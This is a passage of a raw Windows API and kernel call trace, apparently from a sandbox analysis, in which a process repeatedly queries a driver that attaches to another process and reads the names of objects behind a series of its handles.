lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.231] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.231] PsAcquireProcessExitSynchronization () returned 0x0 [0136.231] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.231] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0136.231] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.231] PsReleaseProcessExitSynchronization () returned 0x2 [0136.231] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.231] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.231] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0136.231] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.231] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.231] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.231] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.231] PsAcquireProcessExitSynchronization () returned 0x0 [0136.231] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.231] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0136.231] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.231] PsReleaseProcessExitSynchronization () returned 0x2 [0136.231] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.231] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.231] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0136.231] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.231] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.231] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.232] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.232] PsAcquireProcessExitSynchronization () returned 0x0 [0136.232] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.232] ObReferenceObjectByHandle (in: Handle=0x750, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003686610, HandleInformation=0x0) returned 0x0 [0136.232] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.232] PsReleaseProcessExitSynchronization () returned 0x2 [0136.232] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.232] ObQueryNameString (in: Object=0xfffff8a003686610, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.232] ObfDereferenceObject (Object=0xfffff8a003686610) returned 0x1 [0136.232] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.232] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.232] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.232] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.232] PsAcquireProcessExitSynchronization () returned 0x0 [0136.232] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.232] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0136.232] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.232] PsReleaseProcessExitSynchronization () returned 0x2 [0136.232] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.232] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.232] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0136.232] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.232] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.232] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.232] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.232] PsAcquireProcessExitSynchronization () returned 0x0 [0136.232] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.232] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0136.232] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.232] PsReleaseProcessExitSynchronization () returned 0x2 [0136.232] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.232] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.233] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0136.233] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.233] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.233] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.233] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.233] PsAcquireProcessExitSynchronization () returned 0x0 [0136.233] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.233] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0136.233] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.233] PsReleaseProcessExitSynchronization () returned 0x2 [0136.233] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.233] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.233] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0136.233] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.233] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.233] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.233] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.233] PsAcquireProcessExitSynchronization () returned 0x0 [0136.233] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.233] ObReferenceObjectByHandle (in: Handle=0x884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00320f470, HandleInformation=0x0) returned 0x0 [0136.233] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.233] PsReleaseProcessExitSynchronization () returned 0x2 [0136.233] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.233] ObQueryNameString (in: Object=0xfffff8a00320f470, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.233] ObfDereferenceObject (Object=0xfffff8a00320f470) returned 0x1 [0136.233] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.233] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.233] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.233] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.233] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.233] PsAcquireProcessExitSynchronization () returned 0x0 [0136.233] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.234] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0136.234] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.234] PsReleaseProcessExitSynchronization () returned 0x2 [0136.234] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.234] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.234] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0136.234] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.234] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.234] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.234] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.234] PsAcquireProcessExitSynchronization () returned 0x0 [0136.234] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.234] ObReferenceObjectByHandle (in: Handle=0x8b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0039236a0, HandleInformation=0x0) returned 0x0 [0136.234] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.234] PsReleaseProcessExitSynchronization () returned 0x2 [0136.234] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.234] ObQueryNameString (in: Object=0xfffff8a0039236a0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.234] ObfDereferenceObject (Object=0xfffff8a0039236a0) returned 0x1 [0136.234] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.234] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.234] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.234] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.234] PsAcquireProcessExitSynchronization () returned 0x0 [0136.234] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.234] ObReferenceObjectByHandle (in: Handle=0x8bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00286ec70, HandleInformation=0x0) returned 0x0 [0136.234] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.234] PsReleaseProcessExitSynchronization () returned 0x2 [0136.234] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.234] ObQueryNameString (in: Object=0xfffff8a00286ec70, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.234] ObfDereferenceObject (Object=0xfffff8a00286ec70) returned 0x1 [0136.234] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.235] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.235] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.235] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.235] PsAcquireProcessExitSynchronization () returned 0x0 [0136.235] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.235] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0136.235] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.235] PsReleaseProcessExitSynchronization () returned 0x2 [0136.235] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.235] ObQueryNameString (in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.235] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0136.235] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.235] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.235] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.235] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.235] PsAcquireProcessExitSynchronization () returned 0x0 [0136.235] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.235] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a003585880, HandleInformation=0x0) returned 0x0 [0136.235] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.235] PsReleaseProcessExitSynchronization () returned 0x2 [0136.235] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.235] ObQueryNameString (in: Object=0xfffff8a003585880, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.235] ObfDereferenceObject (Object=0xfffff8a003585880) returned 0x1 [0136.235] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.235] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.235] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.235] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.236] PsAcquireProcessExitSynchronization () returned 0x0 [0136.236] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.236] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002324060, HandleInformation=0x0) returned 0x0 [0136.236] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.236] PsReleaseProcessExitSynchronization () returned 0x2 [0136.236] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.236] ObQueryNameString (in: Object=0xfffff8a002324060, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.236] ObfDereferenceObject (Object=0xfffff8a002324060) returned 0x1 [0136.236] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.236] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.236] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.236] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.236] PsAcquireProcessExitSynchronization () returned 0x0 [0136.236] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.236] ObReferenceObjectByHandle (in: Handle=0x920, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004389540, HandleInformation=0x0) returned 0x0 [0136.236] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.236] PsReleaseProcessExitSynchronization () returned 0x2 [0136.236] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.236] ObQueryNameString (in: Object=0xfffff8a004389540, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.236] ObfDereferenceObject (Object=0xfffff8a004389540) returned 0x1 [0136.236] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.236] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.236] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.236] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.236] PsAcquireProcessExitSynchronization () returned 0x0 [0136.236] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.236] ObReferenceObjectByHandle (in: Handle=0x928, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002c5f210, HandleInformation=0x0) returned 0x0 [0136.236] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.236] PsReleaseProcessExitSynchronization () returned 0x2 [0136.236] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.236] ObQueryNameString (in: Object=0xfffff8a002c5f210, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.237] ObfDereferenceObject (Object=0xfffff8a002c5f210) returned 0x1 [0136.237] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.237] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.237] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.237] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.237] PsAcquireProcessExitSynchronization () returned 0x0 [0136.237] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.237] ObReferenceObjectByHandle (in: Handle=0x92c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0043297a0, HandleInformation=0x0) 